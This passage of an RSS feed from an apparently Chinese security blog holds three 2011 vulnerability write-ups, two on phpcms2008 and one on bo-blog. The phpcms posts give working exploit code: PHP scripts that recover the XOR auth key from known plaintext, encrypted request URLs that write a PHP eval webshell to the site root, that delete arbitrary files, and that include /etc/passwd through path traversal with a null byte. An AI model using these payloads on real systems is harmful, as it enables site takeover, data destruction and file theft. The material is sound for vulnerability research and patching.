		<comments>http://www.0x50sec.org/phpcms%e6%9c%ac%e5%9c%b0%e5%8c%85%e5%90%ab%e6%bc%8f%e6%b4%9e%e5%af%bc%e8%87%b4%e7%9a%84%e5%86%99shell%e6%bc%8f%e6%b4%9e%e5%92%8c%e5%88%a0%e9%99%a4%e4%bb%bb%e6%84%8f%e6%96%87%e4%bb%b6%e6%bc%8f%e6%b4%9e/#comments</comments>
		<pubDate>Mon, 04 Apr 2011 11:17:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[漏洞代码]]></category>
		<category><![CDATA[phpcms]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1059</guid>
		<description><![CDATA[by c4rp3nt3r@0x50sec.org phpcms2008 sp2 or sp4偶没仔细看 这年头发个bug伤不起啊，厂商忽略，被人当成装X，有木有，心情不爽啊不管这么多了。 phpcms本地包含拿shell的方法，这篇文章接上一个 http://www.wooyun.org/bugs/wooyun-2010-01795 《phpcms的phpcms_auth导致的任意变量覆盖漏洞、本地文件包含漏洞和任意文件下载漏洞》 phpcms本地包含类漏洞，如果该文件包含了/include/common.inc.php就可以包含执行很多后台才能执行的文件了。 由于phpcms的全局变量机制，导致能拿shell的方法很多，类似的问题不止一个。 admin/safe.inc.php文件是后台扫木马的程序，但是很可惜的是虽然文件名叫做safe，但是一点也不safe。 公布一个本地包含秒杀拿shell的方法。 包含:admin/safe.inc.php文件GET提交一下数据 将在根目录下生成一句话 用上一篇得到的密钥$key=&#8217;sIpeofogblFVCildZEwe&#8217;; 加密如下字符串 $evil=&#8217;i=1&#38;m=1&#38;f=fuck&#38;action=edit_code&#38;file_path=evil.php&#38;code=&#60;?eval($_POST[a])?&#62;&#38;mod=../../admin/safe.inc.php%00&#8242;; http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChxgNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8= 将在根目录下生成一句话木马 同理任意文件删除漏洞： $evil=&#8217;i=1&#38;m=1&#38;f=fuck&#38;action=del_file&#38;files=robots.txt&#38;mod=../../admin/safe.inc.php%00&#8242;; http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBQAAzkJDg4JYDAqBQkXZzcYBxw9A0sbHhtBDwMia21HQ0p0ahYBHiAeShwHCQJMBSg1bRkEFH91Rw== 贴上存在漏洞的代码 //admin/safe.inc.php &#60;?php defined(&#8216;IN_PHPCMS&#8217;) or exit(&#8216;Access Denied&#8217;); // include/common.inc.php 里面声明了常量 // define(&#8216;IN_PHPCMS&#8217;, TRUE); if(empty($action)) $action = &#8220;start&#8221;; $safe = cache_read(&#8216;safe.php&#8217;); $filecheck = load(&#8216;filecheck.class.php&#8217;); if(empty($safe)) { $safe = array ( &#8216;file_type&#8217; =&#62; [...]]]></description>
			<content:encoded><![CDATA[<p>by c4rp3nt3r@0x50sec.org<br />
phpcms2008 sp2 or sp4偶没仔细看<br />
这年头发个bug伤不起啊，厂商忽略，被人当成装X，有木有，心情不爽啊不管这么多了。</p>
<p>phpcms本地包含拿shell的方法，这篇文章接上一个</p>
<p>http://www.wooyun.org/bugs/wooyun-2010-01795</p>
<p>《phpcms的phpcms_auth导致的任意变量覆盖漏洞、本地文件包含漏洞和任意文件下载漏洞》</p>
<p>phpcms本地包含类漏洞，如果该文件包含了/include/common.inc.php就可以包含执行很多后台才能执行的文件了。</p>
<p>由于phpcms的全局变量机制，导致能拿shell的方法很多，类似的问题不止一个。</p>
<p>admin/safe.inc.php文件是后台扫木马的程序，但是很可惜的是虽然文件名叫做safe，但是一点也不safe。</p>
<p>公布一个本地包含秒杀拿shell的方法。</p>
<p>包含:admin/safe.inc.php文件GET提交一下数据</p>
<p>将在根目录下生成一句话<br />
用上一篇得到的密钥$key=&#8217;sIpeofogblFVCildZEwe&#8217;;<br />
加密如下字符串<br />
$evil=&#8217;i=1&amp;m=1&amp;f=fuck&amp;action=edit_code&amp;file_path=evil.php&amp;code=&lt;?eval($_POST[a])?&gt;&amp;mod=../../admin/safe.inc.php%00&#8242;;</p>
<p>http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChxgNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8=</p>
<p>将在根目录下生成一句话木马</p>
<p>同理任意文件删除漏洞：<br />
$evil=&#8217;i=1&amp;m=1&amp;f=fuck&amp;action=del_file&amp;files=robots.txt&amp;mod=../../admin/safe.inc.php%00&#8242;;</p>
<p>http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBQAAzkJDg4JYDAqBQkXZzcYBxw9A0sbHhtBDwMia21HQ0p0ahYBHiAeShwHCQJMBSg1bRkEFH91Rw==</p>
<p><span id="more-1059"></span><br />
贴上存在漏洞的代码<br />
//admin/safe.inc.php<br />
&lt;?php<br />
defined(&#8216;IN_PHPCMS&#8217;) or exit(&#8216;Access Denied&#8217;);<br />
// include/common.inc.php 里面声明了常量<br />
// define(&#8216;IN_PHPCMS&#8217;, TRUE);</p>
<p>if(empty($action)) $action = &#8220;start&#8221;;<br />
$safe = cache_read(&#8216;safe.php&#8217;);<br />
$filecheck = load(&#8216;filecheck.class.php&#8217;);<br />
if(empty($safe))<br />
{<br />
$safe = array (<br />
&#8216;file_type&#8217; =&gt; &#8216;php|js&#8217;,<br />
&#8216;code&#8217; =&gt; &#8221;,<br />
&#8216;func&#8217; =&gt; &#8216;com|system|exec|eval|escapeshell|cmd|passthru|base64_decode|gzuncompress&#8217;,<br />
&#8216;dir&#8217; =&gt; $filecheck-&gt;checked_dirs()<br />
);<br />
}<br />
switch ($action)<br />
{<br />
&#8230;<br />
case &#8216;edit_code&#8217;:<br />
if (file_put_contents(PHPCMS_ROOT.$file_path, stripcslashes($code)))<br />
{<br />
showmessage(&#8216;修改成功！&#8217;);<br />
}<br />
break;</p>
<p>case &#8216;del_file&#8217;:<br />
$file_path = urldecode($files);</p>
<p>if (empty($file_path))<br />
{<br />
showmessage(&#8216;请选择文件&#8217;);<br />
}<br />
$file_list = cache_read(&#8216;scan_backdoor.php&#8217;);<br />
unset($file_list[$file_path]);<br />
cache_write(&#8216;scan_backdoor.php&#8217;,$file_list);<br />
@unlink(PHPCMS_ROOT.$file_path);<br />
showmessage(&#8216;文件删除成功！&#8217;, &#8216;?mod=phpcms&amp;file=safe&amp;action=scan_table&#8217;);<br />
break;<br />
&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/phpcms%e6%9c%ac%e5%9c%b0%e5%8c%85%e5%90%ab%e6%bc%8f%e6%b4%9e%e5%af%bc%e8%87%b4%e7%9a%84%e5%86%99shell%e6%bc%8f%e6%b4%9e%e5%92%8c%e5%88%a0%e9%99%a4%e4%bb%bb%e6%84%8f%e6%96%87%e4%bb%b6%e6%bc%8f%e6%b4%9e/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>phpcms的phpcms_auth导致的任意变量覆盖漏洞、本地文件包含漏洞和任意文件下载漏洞</title>
		<link>http://www.0x50sec.org/phpcms%e7%9a%84phpcms_auth%e5%af%bc%e8%87%b4%e7%9a%84%e4%bb%bb%e6%84%8f%e5%8f%98%e9%87%8f%e8%a6%86%e7%9b%96-%e6%9c%ac%e5%9c%b0%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab%e4%b8%8b%e8%bd%bd/</link>
		<comments>http://www.0x50sec.org/phpcms%e7%9a%84phpcms_auth%e5%af%bc%e8%87%b4%e7%9a%84%e4%bb%bb%e6%84%8f%e5%8f%98%e9%87%8f%e8%a6%86%e7%9b%96-%e6%9c%ac%e5%9c%b0%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab%e4%b8%8b%e8%bd%bd/#comments</comments>
		<pubDate>Sat, 02 Apr 2011 05:41:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[漏洞代码]]></category>
		<category><![CDATA[phpcms]]></category>
		<category><![CDATA[phpcms_auth]]></category>
		<category><![CDATA[任意变量覆盖]]></category>
		<category><![CDATA[任意文件下载]]></category>
		<category><![CDATA[本地文件包含]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1054</guid>
		<description><![CDATA[phpcms的phpcms_auth导致的本地文件包含漏洞和任意文件下载漏洞 by c4rp3nt3r@0x50sec.org mail: c4rp3nt3r#gmail.com HomePage:http://www.0x50sec.org phpcms_auth函数是phpcms里面为了增强程序的安全性的一个加密函数，在play.php、down.php 、download.php等等文件用它来对用户提交的加密字符串进行解密，进入程序流程，如果我们可以控制了phpcms_auth函数的解密，我们就可以通过注射我们的恶意代码，进行攻击。 而phpcms_auth采用的是可逆的位异或算法，并且对加密的结果进行了base64编码。 对于位异或算法来说只要我们破解了密钥字符串$key我们就完全控制了这个函数的加密解密。 对于base64编码主要是处理某些加密后的不可见字符，但是这给了我们一个很好的机会: 就是说我们破解了$key之后，我们就可以不受magic_quotes_pgc的限制引入%00字符串进行阶段，或者引入引号发起其他攻击。 到此已经违背了这个程序设计的初衷，破解了这个函数之后，一方面反而更加不安全了，另一方面所有建立在这个函数之上的机制可能都会受到攻击。 // include/global.func.php function phpcms_auth($txt, $operation = 'ENCODE', $key = '') { $key    = $key ? $key : $GLOBALS['phpcms_auth_key']; $txt    = $operation == 'ENCODE' ? $txt : base64_decode($txt); $len    = strlen($key); $code    = ''; for($i=0; $i&#60;strlen($txt); $i++){ $k        = $i % $len;    [...]]]></description>
			<content:encoded><![CDATA[<p>phpcms的phpcms_auth导致的本地文件包含漏洞和任意文件下载漏洞</p>
<p>by c4rp3nt3r@0x50sec.org<br />
mail: c4rp3nt3r#gmail.com<br />
HomePage:http://www.0x50sec.org</p>
<p>phpcms_auth函数是phpcms里面为了增强程序的安全性的一个加密函数，在play.php、down.php 、download.php等等文件用它来对用户提交的加密字符串进行解密，进入程序流程，如果我们可以控制了phpcms_auth函数的解密，我们就可以通过注射我们的恶意代码，进行攻击。<br />
而phpcms_auth采用的是可逆的位异或算法，并且对加密的结果进行了base64编码。<br />
对于位异或算法来说只要我们破解了密钥字符串$key我们就完全控制了这个函数的加密解密。<br />
对于base64编码主要是处理某些加密后的不可见字符，但是这给了我们一个很好的机会:<br />
就是说我们破解了$key之后，我们就可以不受magic_quotes_pgc的限制引入%00字符串进行阶段，或者引入引号发起其他攻击。<br />
到此已经违背了这个程序设计的初衷，破解了这个函数之后，一方面反而更加不安全了，另一方面所有建立在这个函数之上的机制可能都会受到攻击。</p>
<p><code>// include/global.func.php<br />
function phpcms_auth($txt, $operation = 'ENCODE', $key = '')<br />
{<br />
$key    = $key ? $key : $GLOBALS['phpcms_auth_key'];<br />
$txt    = $operation == 'ENCODE' ? $txt : base64_decode($txt);<br />
$len    = strlen($key);<br />
$code    = '';</p>
<p>for($i=0; $i&lt;strlen($txt); $i++){<br />
$k        = $i % $len;    //循环使用密钥字符串对字符串逐位进行异或<br />
$code  .= $txt[$i] ^ $key[$k];<br />
}<br />
$code = $operation == 'DECODE' ? $code : base64_encode($code);<br />
return $code;<br />
}</code></p>
<p>对于$key的破解<br />
对于位运算的异或运算，是可逆的，明文和密钥异或得到密文。如果我们知道密文并且知道一部分明文那么我们也就可以得到密钥，有了密钥我们就可以破解另一部分密文，当然也就可以对我们自己的明文进行加密，然后用我们精心构造的密文发起攻击了。<br />
<span id="more-1054"></span><br />
不幸的是phpcms的确给了我们可用来破解密钥的明文。</p>
<p><code>// include/fields/downfile/output.inc.php</p>
<p>function downfile($field, $value)<br />
{<br />
$contentid = $this-&gt;contentid;<br />
$mode = $this-&gt;fields[$field]['mode'];<br />
$result = '';<br />
if($mode)<br />
{<br />
$servers = $this-&gt;fields[$field]['servers'];<br />
$downloadtype = $this-&gt;fields[$field]['downloadtype'];<br />
$servers = explode("\n",$servers);<br />
foreach($servers AS $k=&gt;$server)<br />
{<br />
$server = explode("|",$server);<br />
$serverurl = $server[1];<br />
$a_k = urlencode(phpcms_auth("i=$contentid&amp;s=$serverurl&amp;m=1&amp;f=$value&amp;d=$downloadtype", 'ENCODE', AUTH_KEY));<br />
$result .= "&lt;a href='down.php?a_k=$a_k' target='_blank'&gt;$server[0]&lt;/a&gt;";<br />
}<br />
}<br />
else<br />
{<br />
$a_k = urlencode(phpcms_auth("i=$contentid&amp;m=0&amp;f=$value", 'ENCODE', AUTH_KEY));<br />
$result = "&lt;a href='down.php?a_k=$a_k' target='_blank'&gt;点击下载&lt;/a&gt;";<br />
}<br />
return $result;<br />
}</code></p>
<p>这个文件是用来生成静态html文件的，默认安装的phpcms某个软件的下载页面地址为:</p>
<p>http://127.0.0.1/n/phpcms/2011/0331/2.html</p>
<p>进入下载文件的下载地址为:</p>
<p>http://127.0.0.1/n/phpcms/down.php?a_k=GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D</p>
<p>对加密字符串解密后为<br />
密文:GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D<br />
明文:i=2&amp;s=&amp;m=0&amp;f=uploadfile/2011/0331/20110331121233766.zip&amp;d=1<br />
这里2.html的2就是数据库里id的值，如果没有设置镜像站点的话$serverurl为空<br />
也就是说&#8221;i=2&amp;s=&amp;m=1&amp;f=&#8221;是不会变的，我们可以破解12位的密钥了。<br />
默认的话密钥有20位，如果用户上传目录没修改的话我们知道的明文就有&#8221;i=2&amp;s=&amp;m=0&amp;f=uploadfile&#8221;共23个字符，可以得到全部密钥了。</p>
<p><code><?php<br />
$key="i=2&amp;s=&amp;m=0&amp;f=uploadfile";<br />
$txt='GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D';<br />
$txt=base64_decode(urldecode($txt));<br />
$len=strlen($key);<br />
echo $len;<br />
for($i=0;$i&lt;strlen($key);$i++)<br />
{<br />
$code  .= $txt[$i] ^ $key[$i];<br />
}<br />
echo $code;<br />
?></code><br />
运行结果为:sIpeofogblFVCildZEwesIp<br />
可以看到sIp开始下一个循环加密了，所以密钥就是:sIpeofogblFVCildZEwe</p>
<p>还有一点就是下载的时候我们可以得到文件名:20110331121233766.zip<br />
d的值是下载文件的类型，假设我们不知道也不要紧<br />
就是说明文:20110331121233766.zip&amp;d=是已知的有24位<br />
密文:GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D</p>
<p><code><?<br />
$key="20110331121233766.zip&amp;d=";<br />
$txt='GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D';</p>
<p>$txt=base64_decode(urldecode($txt));<br />
$tlen=strlen($txt);<br />
$klen=strlen($key);<br />
for($i=1;$i&lt;strlen($key);$i++)<br />
{<br />
$code  .= $txt[$tlen-$i-1] ^ $key[$klen-$i];<br />
}<br />
echo $code."\n";<br />
echo $tlen."\n";<br />
?><br />
</code><br />
运行结果为:<br />
EZdliCVFlbgofoepIsewEZd<br />
59<br />
来看phpcms_auth源码<br />
<code>/*<br />
...<br />
$len    = strlen($key);<br />
...</p>
<p>for($i=0; $i&lt;strlen($txt); $i++){<br />
$k        = $i % $len;<br />
$code  .= $txt[$i] ^ $key[$k];<br />
}<br />
...<br />
*/</code></p>
<p>我们可以知道<br />
$key[17]=&#8217;E';<br />
我们可以得到倒序的密钥字符串:<br />
ewEZdliCVFlbgofoepIs</p>
<p>然后我们把字符串翻转过来终端下执行：</p>
<p>alone@Sh3llc0de:~$ echo &#8216;ewEZdliCVFlbgofoepIs&#8217;|rev<br />
sIpeofogblFVCildZEwe</p>
<p>我们的密钥字符串就是:sIpeofogblFVCildZEwe</p>
<p>到此我们已经从一个攻击者的角度破解出了密钥。接下来我们看看由此引发的几个安全问题<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>1.phpcms2008 sp2-sp4 本地文件包含漏洞<br />
这个漏洞跟boblog刚爆出的任意变量覆盖漏洞有些相似，都是任意变量覆盖然后仅跟了一个本地文件包含。这种漏洞也是很好玩的，攻击的方法更灵活。</p>
<p><code>//play.php<br />
<?php<br />
require dirname(__FILE__).'/include/common.inc.php';<br />
if(!isset($a_k)) showmessage($LANG['illegal_parameters']);<br />
//common.inc.php文件的全局变量机制已经将所有GPC数据导出为变量了<br />
//所以$a_k=$_GET[$a_k];<br />
$a_k = phpcms_auth($a_k, 'DECODE', AUTH_KEY); //这里是关键分析见上文</p>
<p>if(empty($a_k)) showmessage($LANG['illegal_parameters']);<br />
unset($i, $m, $f, $p);<br />
parse_str($a_k);    //parse_str处理解密后的$a_k将导致变量覆盖<br />
//通过覆盖下文的$mod 或者$templateid将触发本地文件包含漏洞<br />
//由于我们提交的密文会经过phpcms_auth函数中base64解密的，所以直接无视magic_quotes_gpc的影响而可以NULL字符截断<br />
//但是高版本的PHP修复了%00的攻击缺陷</p>
<p>if(isset($i)) $i = intval($i);<br />
if(!isset($m)) showmessage($LANG['illegal_parameters']);</p>
<p>if(empty($f)) showmessage('地址失效');<br />
if(preg_match('/\.php$/',$f) || strpos($f, ":\\")) showmessage('地址有误');<br />
if(!$i || $m&lt;0) showmessage($LANG['illegal_parameters']);<br />
$allow_readpoint = 1;<br />
// include global.fuc.php<br />
/*<br />
...<br />
$M = $TEMP = array();<br />
if(!isset($mod)) $mod = 'phpcms';<br />
if($mod != 'phpcms')<br />
{<br />
isset($MODULE[$mod]) or exit($LANG['module_not_exists']);<br />
$langfile = defined('IN_ADMIN') ? $mod.'_admin' : $mod;<br />
@include PHPCMS_ROOT.'languages/'.LANG.'/'.$langfile.'.lang.php';<br />
$M = cache_read('module_'.$mod.'.php');<br />
}<br />
...<br />
*/<br />
//此处通过上文的对$mod进行变量覆盖绕过下面的if语句<br />
if($mod == 'phpcms')<br />
{<br />
$contentid = $i;<br />
include 'admin/content.class.php';<br />
$content = new content;<br />
$data = $content-&gt;get($contentid);<br />
$readpoint = $data['readpoint'];</p>
<p>$title = $data['title'];<br />
$keys = array_keys($data);</p>
<p>if(in_array('groupids_view',$keys))<br />
{<br />
if($data['groupids_view'])<br />
{<br />
if(!$priv_group-&gt;check('contentid', $contentid, 'view', $_groupid)) showmessage('您没有查看权限');<br />
}<br />
if(in_array('readpoint', $keys))<br />
{<br />
$C = cache_read('category_'.$data['catid'].'.php');<br />
if($C['defaultchargepoint'] || !empty($readpoint))<br />
{<br />
$readpoint = $readpoint ? $readpoint : $C['defaultchargepoint'];<br />
$pay = load('pay_api.class.php', 'pay', 'api');<br />
if($C['repeatchargedays'])<br />
{<br />
if($pay-&gt;is_exchanged($contentid, $C['repeatchargedays']) === FALSE)<br />
{<br />
$allow_readpoint = 0;<br />
}<br />
}<br />
else<br />
{<br />
session_start();<br />
if($_SESSION['pay_contentid'] != $contentid) $allow_readpoint = 0;<br />
}<br />
}<br />
}<br />
}<br />
}</p>
<p>$player = load('player.class.php');<br />
$result = $player-&gt;get($p);<br />
@extract($result);<br />
$videourl = trim($f);<br />
$code = str_replace('{$filepath}',$videourl, $code);<br />
$code = str_replace('{$PHPCMS[siteurl]}', $PHPCMS['siteurl'], $code);<br />
$code = str_replace('{$PHPCMS[sitename]}', $PHPCMS['sitename'], $code);<br />
$templateid = $templateid ? $templateid : 'play';<br />
include template($mod, $templateid);<br />
/*<br />
// include/global.fuc.php<br />
// function template 起到一个连接字符串的作用</p>
<p>function template($module = 'phpcms', $template = 'index', $istag = 0)<br />
{<br />
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';<br />
if(TPL_REFRESH &amp;&amp; (!file_exists($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html') &gt; @filemtime($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/tag.inc.php') &gt; @filemtime($compiledtplfile)))<br />
{<br />
require_once PHPCMS_ROOT.'include/template.func.php';<br />
template_compile($module, $template, $istag);<br />
}<br />
return $compiledtplfile;<br />
}</p>
<p>*/<br />
?></code></p>
<p>接下来生成我们的攻击字符串:<br />
<code><?php<br />
$key='sIpeofogblFVCildZEwe';<br />
$evil='i=1&amp;m=1&amp;f=fuck&amp;mod=../../../../../../../etc/passwd%00&amp;c4rp3nt3r=0x50sec.org';<br />
//经过parse_str($evil);后c4rp3nt3r变量并没有被创建<br />
//这个地方我也不是很明白为什么可以进行截断<br />
//但事实上真的可以截断</p>
<p>$evil = phpcms_auth($evil, 'ENCODE', $key);<br />
echo $evil."\n";<br />
function phpcms_auth($txt, $operation = 'ENCODE', $key)<br />
{<br />
$txt    = $operation == 'ENCODE' ? $txt : base64_decode($txt);<br />
$len    = strlen($key);<br />
$code    = '';</p>
<p>for($i=0; $i&lt;strlen($txt); $i++){<br />
$k        = $i % $len;<br />
$code  .= $txt[$i] ^ $key[$k];<br />
}<br />
$code = $operation == 'DECODE' ? $code : base64_encode($code);<br />
return $code;<br />
}<br />
?></code></p>
<p>alone@Sh3llc0de:/var/www$ php v.php<br />
GnRBQwJbXkEEUSAjIAJKCTUhSktdZl5LQEhBSExCaXhtRkJKdWtZShY9E0ofBxwUFQhjZnNPD1AoNUQLB3oCWF8eWlcRCSV4LBsL</p>
<p>POC：http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKCTUhSktdZl5LQEhBSExCaXhtRkJKdWtZShY9E0ofBxwUFQhjZnNPD1AoNUQLB3oCWF8eWlcRCSV4LBsL<br />
成功包含了/etc/passwd</p>
<p>2.phpcms2008 sp2-sp4、PHPCMS V9 正式版任意文件下载漏洞</p>
<p>以phpcms2008为例</p>
<p>down.php 和download.php都存在这个漏洞，具体利用跟上面的文件包含差不多就不多罗嗦了，成功利用此漏洞可以下载任意文件，包括.php后缀的文件。<br />
只是download.php的加密方式是：<br />
//download.php<br />
&#8230;<br />
$phpcms_auth_key = md5(AUTH_KEY.$_SERVER['HTTP_USER_AGENT']);<br />
$a_k = phpcms_auth($a_k, &#8216;DECODE&#8217;, $phpcms_auth_key);<br />
&#8230;<br />
这样可能主要是为了仿制迅雷等浏览器的下载。但是既然我们知道了AUTH_KEY(见上文分析的密钥$key),$_SERVER['HTTP_USER_AGENT']是由用户提交的，那么$phpcms_auth_key 我们自然也就知道了。<br />
除了上面说的知道部分明文来算$key，还有可能暴力破解$key.<br />
还有就是经过md5加密后也未必就更安全，因为系统生成的$key有20位但是每一位都肯能个是大写或者小写字母，也就是有52种可能，但是经过md5加密后每一位就变成只有16种可能了，大大增加了被暴力破解的可能性。</p>
<p>全文结束<br />
参考和致谢:<br />
80vul.com《高级PHP应用程序漏洞审核技术》<br />
Ryat[puretot] 《bo-blog任意变量覆盖漏洞》</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/phpcms%e7%9a%84phpcms_auth%e5%af%bc%e8%87%b4%e7%9a%84%e4%bb%bb%e6%84%8f%e5%8f%98%e9%87%8f%e8%a6%86%e7%9b%96-%e6%9c%ac%e5%9c%b0%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab%e4%b8%8b%e8%bd%bd/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>bo-blog任意变量覆盖漏洞</title>
		<link>http://www.0x50sec.org/bo-blog%e4%bb%bb%e6%84%8f%e5%8f%98%e9%87%8f%e8%a6%86%e7%9b%96%e6%bc%8f%e6%b4%9e/</link>
		<comments>http://www.0x50sec.org/bo-blog%e4%bb%bb%e6%84%8f%e5%8f%98%e9%87%8f%e8%a6%86%e7%9b%96%e6%bc%8f%e6%b4%9e/#comments</comments>
		<pubDate>Thu, 03 Mar 2011 08:34:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[漏洞代码]]></category>
		<category><![CDATA[80vul]]></category>
		<category><![CDATA[boblog]]></category>
		<category><![CDATA[parse_str]]></category>
		<category><![CDATA[变量覆盖]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1035</guid>
		<description><![CDATA[by Ryat[puretot] mail: puretot at gmail dot com team: http://www.80vul.com 影响版本: 2.1.0 2.1.1 状态：已修补 漏洞描述: // go.php $q_url=$_SERVER["REQUEST_URI"]; @list($relativePath, $rawURL)=@explode(&#8216;/go.php/&#8217;, $q_url); $rewritedURL=$rawURL; // 来自$_SERVER["REQUEST_URI"],可以任意提交的:) &#8230; $RewriteRules[]=&#8221;/component\/([^\/]+)\/?/&#8221;; // 这个正则限制的不够细致,可以很轻易的绕过:) &#8230; $RedirectTo[]=&#8221;page.php?pagealias=\\1&#8243;; $i=0; foreach ($RewriteRules as $rule) { if (preg_match($rule, $rewritedURL)) { $tmp_rewritedURL=preg_replace($rule, &#8216;&#60;&#8217;.$RedirectTo[$i].&#8217;&#60;&#8217;, $rewritedURL, 1); $tmp_rewritedURL=@explode(&#8216;&#60;&#8217;, $tmp_rewritedURL); $rewritedURL=($tmp_rewritedURL[2]) ? false : $tmp_rewritedURL[1]; break; } $i+=1; } [...]]]></description>
			<content:encoded><![CDATA[<p>by Ryat[puretot]<br />
mail: puretot at gmail dot com<br />
team: http://www.80vul.com<br />
影响版本:<br />
2.1.0 2.1.1<br />
状态：已修补<br />
漏洞描述:</p>
<p>// go.php<br />
$q_url=$_SERVER["REQUEST_URI"];<br />
@list($relativePath, $rawURL)=@explode(&#8216;/go.php/&#8217;, $q_url);<br />
$rewritedURL=$rawURL; // 来自$_SERVER["REQUEST_URI"],可以任意提交的:)<br />
&#8230;<br />
$RewriteRules[]=&#8221;/component\/([^\/]+)\/?/&#8221;;<br />
// 这个正则限制的不够细致,可以很轻易的绕过:)<br />
&#8230;<br />
$RedirectTo[]=&#8221;page.php?pagealias=\\1&#8243;;</p>
<p>$i=0;<br />
foreach ($RewriteRules as $rule) {<br />
if (preg_match($rule, $rewritedURL)) {<br />
$tmp_rewritedURL=preg_replace($rule, &#8216;&lt;&#8217;.$RedirectTo[$i].&#8217;&lt;&#8217;, $rewritedURL, 1);<br />
$tmp_rewritedURL=@explode(&#8216;&lt;&#8217;, $tmp_rewritedURL);<br />
$rewritedURL=($tmp_rewritedURL[2]) ? false : $tmp_rewritedURL[1];<br />
break;<br />
}<br />
$i+=1;<br />
}</p>
<p>if ($rewritedURL==$rawURL || !$rewritedURL) {<br />
&#8230;<br />
$parsedURL=parse_url ($rewritedURL);<br />
// 这里的$parsedURL['query']就是要利用的变量了:)<br />
parse_str($parsedURL['query']);<br />
// 通过这个地方可以覆盖任意变量<br />
include(basename($parsedURL['path']));<br />
// 通过上面的覆盖,可以利用这里包含本地文件,不过用了basename()函数处理:(</p>
<p>这个漏洞不是很复杂,关键说说利用,这里有两个利用点,一个覆盖,一个利用覆盖来包含,虽然用了basename()来限制,但是可以利用data://来执行命令.只是这种方式的利用是有限制的[PHP&gt;5.2.0&amp;allow_url_include=On].不过没关系,还有更好的利用方式<br />
<span id="more-1035"></span><br />
来看下global.php文件:<br />
&#8230;<br />
unregister_GLOBALS(); //When register_globals=On<br />
&#8230;<br />
function unregister_GLOBALS() { //When register_globals = &#8216;on&#8217;<br />
if (!ini_get(&#8216;register_globals&#8217;)) { //Already off<br />
return;<br />
}<br />
// Variables that shouldn&#8217;t be unset<br />
$noUnset = array(&#8216;_GET&#8217;, &#8216;_POST&#8217;,  &#8216;_COOKIE&#8217;,  &#8216;_REQUEST&#8217;, &#8216;_SERVER&#8217;,  &#8216;_ENV&#8217;,  &#8216;_FILES&#8217;);<br />
$input = array_merge($_GET,  $_POST,    $_COOKIE, $_SERVER, $_ENV,  $_FILES,    isset($_SESSION) &amp;&amp; is_array($_SESSION) ? $_SESSION : array());<br />
foreach ($input as $k =&gt; $v) {<br />
if ($k==&#8217;GLOBALS&#8217;) {<br />
global $kgr;<br />
$kgr=0;<br />
kill_GLOBALS($input[$k]); //GLOBALS is recursive -,-<br />
}<br />
elseif (!in_array($k, $noUnset) &amp;&amp; isset($GLOBALS[$k])) {<br />
$GLOBALS[$k]=NULL;<br />
}<br />
}<br />
}<br />
在这里取消了全局变量,但是我们可以通过go.php中的覆盖变量和包含文件来绕过unregister_GLOBALS()的限制,触发变量未初始化漏洞,这将导致xss、sql注射、命令执行等众多严重的安全问题:)</p>
<p>EXP or POC?自己搞喽;P</p>
<p>___________</p>
<p>学习了下，可以通过data://来执行命令的站相对少一点，但是通过触发变量未初始化漏洞，基本都能拿到shell.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/bo-blog%e4%bb%bb%e6%84%8f%e5%8f%98%e9%87%8f%e8%a6%86%e7%9b%96%e6%bc%8f%e6%b4%9e/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>韩国某cms远程包含、注射、文件泄漏、上传等多个漏洞</title>
